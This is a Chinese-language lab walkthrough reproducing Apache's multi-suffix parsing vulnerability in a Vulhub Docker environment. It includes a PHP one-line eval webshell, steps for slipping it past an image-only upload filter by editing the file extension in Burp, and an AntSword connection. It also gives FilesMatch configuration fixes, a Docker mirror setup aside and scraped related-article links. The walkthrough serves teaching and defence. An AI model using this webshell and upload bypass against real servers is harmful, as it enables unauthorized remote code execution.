Apache多后缀解析漏洞复现(apache_parsing_vulnerability)
漏洞原理
apahe解析文件时候有一特性,Apache默认一个文件可以有多个以点分割的后缀,apache会从最右边开始识别其后缀名,如遇无法识别的后缀名则依次往左进行识别
如果运维人员给.php后缀的文件添加了处理程序 `AddHandler application/x-httpd-php .php` 那么在有多个后缀的情况下,只要文件含有.php后缀那么该文件就会被识别为PHP文件进行解析。
该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞,
漏洞复现
这里我以Vulhub靶场为例演示
[root@localhost vulhub]# cd httpd/apache_parsing_vulnerability/ # 进入到apache_parsing_vulnerability 多后缀解析漏洞目录
[root@localhost apache_parsing_vulnerability]# docker-compose up -d 拉取镜像之后启动容器
# 注意
容器没起来可以先看看日志报错
[root@localhost apache_parsing_vulnerability]# docker logs apache_parsing_vulnerability_apache_1
/bin/sh: 0: cannot open /var/www/start.sh: Permission denied
[root@localhost apache_parsing_vulnerability]# setenforce 0 # 关闭selinux之后docker-compose up -d重启容器
[root@localhost apache_parsing_vulnerability]# docker ps -s # 查看正在运行中的容器(容器启动成功)
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES SIZE
5c1134637b1f php:apache "docker-php-entryp..." 20 minutes ago Up 5 seconds 0.0.0.0:80->80/tcp apache_parsing_vulnerability_apache_1 2 B (virtual 459 MB)# 浏览器访问靶场环境
http://10.10.10.133/
此漏洞只允许上传gif、png、jpg、jpeg后缀的文件,所以当上传php文件时会报错
本地创建一个php后缀的一句话木马文件,内容如下:
<?php @eval($_POST['ggbond']);?>
之后上传,并且通过Bp抓取前端数据包,修改文件后缀名如图所示
蚁剑连接
通过蚁剑我们发现webshell成功连接
# 至于文件上传的路径,我们可以通过抓取数据包将其发送到repeater模块进行查看
漏洞分析
我们进入容器查看一下配置文件
[root@localhost apache_parsing_vulnerability]# docker exec -it apache_parsing_vulnerability_apache_1 /bin/bash
root@5c1134637b1f:/var/www/html# cd /etc/apache2/conf-available/
root@5c1134637b1f:/etc/apache2/conf-available# ls
charset.conf docker-php.conf localized-error-pages.conf other-vhosts-access-log.conf security.conf serve-cgi-bin.conf
root@5c1134637b1f:/etc/apache2/conf-available# cat docker-php.conf
AddHandler application/x-httpd-php .php DirectoryIndex disabled
DirectoryIndex index.php index.html <Directory /var/www/>Options -IndexesAllowOverride All
</Directory>
# 从上面php配置文件可知
AddHandler application/x-httpd-php .php
此命令是并没有进行类似于正则等的安全设置,凡是有带.php后缀的都会将其交给application/x-httpd-php解析程序进行解析
漏洞防御手段
1、通过正则方式来对其进行限制;、在配置文件中添加如下内容,匹配样式为 .php. 的文件并拒绝访问(该漏洞环境配置文件位于漏洞环境目录的 conf/docker-php.conf 生产环境中按照具体情况而定)
<FilesMatch "\.php\.">
require all denied
</FilesMatch>
2、将原本的 AddHandler application/x-httpd-php .php 注释掉,然后利用正则表达式单独为.php的文件添加处理程序
<FilesMatch ".+.php$">
SetHandler application/x-httpd-php
</FilesMatch>
小彩蛋
去阿里云官网的工作台搜索“容器镜像服务”
加速器地址: https://zw51rs4m.mirror.aliyuncs.com
配置镜像加速器
针对Docker客户端版本大于 1.10.0 的用户
您可以通过修改daemon配置文件/etc/docker/daemon.json来使用加速器
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{"registry-mirrors": ["https://zw51rs4m.mirror.aliyuncs.com"]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker
Apache多后缀解析漏洞复现(apache_parsing_vulnerability)相关推荐
- nginx 上传文件漏洞_nginx解析漏洞复现
nginx解析漏洞复现 一.漏洞描述 该漏洞与nginx.php版本无关,属于用户配置不当造成的解析漏洞 二.漏洞原理 1. 由于nginx.conf的如下配置导致nginx把以'.php'结尾的文件 ...
- 【linux】 apache多后缀文件解析漏洞复现
文章目录 一. 漏洞描述 二. 漏洞原理 三. 实验环境 1. apache版本 2. 在网站根目录我们建一个index.php,测试是否解析 3. 修改文件名测试 4. 用文件名不包含php的文件测 ...
- Apache与文件解析漏洞详解
1. Apache介绍与服务搭建 1.1. apache介绍 Apache跨平台的纯粹的web服务器,负责接收处理/响应http请求,之所以说它是纯粹的web服务器,是因为apache对于html页面 ...
- Java Apache中的高危漏洞复现
Java Apache Collections类漏洞 在15年Apache Commons Collections(ACC)被两位黑客爆出存在反序列化漏洞,由于Apache下的其他框架也免不了大量使用 ...
- CVE-2021-41773 CVE-2021-42013 Apache HTTPd最新RCE漏洞复现 目录穿越漏洞
给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 关注公众号:b1gpig信息安全,文章推送不错过 CVE-2021-41773漏洞描述: Apache HTTPd是Apache基金会开源的一款流 ...
- MS11-030-DNS 解析漏洞复现
MS11-030:DNS 解析中的漏洞允许远程代码执行 (2509553) 安装的 Windows DNS 客户端处理链接-本地多播名称解析 (LLMNR) 查询的方法中存在一个缺陷,攻击者可利用此缺 ...
- Apache漏洞复现
目录 1.Apache多后缀解析漏洞复现(apache_parsing_vulnerability) 漏洞防御 2.Apache换行解析漏洞复现(CVE-2017-15715) 漏洞防御 3.CVE- ...
- php黑名单绕过,利用最新Apache解析漏洞(CVE-2017-15715)绕过上传黑名单
我在代码审计知识星球里提到了Apache最新的一个解析漏洞(CVE-2017-15715): 除了帖子中说到的利用方法,我们还可以利用这个漏洞来绕过上传黑名单限制. 目标环境 比如,目标存在一个上传的 ...
- Apache 解析漏洞
呜啦 ~~ 又太久没写博客啦 偶然间看到了这一篇文章,觉得写得还挺好的.下面是文章内容!!! Apache文件如何解析漏洞实例分析 我最为熟悉的便是Apache了,先来研究它的文件解析漏洞.百度许久, ...
最新文章
- ASP.NET性能调整之解决Server Too Busy错误
- JAVA-初步认识-第五章-数组-常见操作-最值
- wireshark 抓包调试 RTSP
- Array Elimination 运算,gcd,思维
- Hibernate--使用xml配置映射关系
- mybatis学习笔记--常见的错误
- 微机笔记5——定时与计数
- python wxpython backend wxagg_在wxPython中使用draw()(复制轴)绘制不正确
- Linux内核虚拟内存之页表管理
- dell最新计算机如何U盘引导,戴尔台式电脑如何bios设置U盘启动教程
- Android安卓自带的 WebView 浏览器内核更新
- 关于前端直播(videoJS与百度云web播放器:Cyberplayer3.0试用)
- 泰凌微8258入门教程 问题篇②——make Error, section .text loaded at [x,x] overlaps section .retention_data loaded
- mismatch,equal比较两序列
- Win7用户文件夹转移
- Java版本电子招标采购系统源代码—企业战略布局下的采购寻源
- 记2015沈阳区域赛
- ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to
- [原创]gsoap的基本使用方法『C++web服务工具包』
- python----引用其他py文件中的函数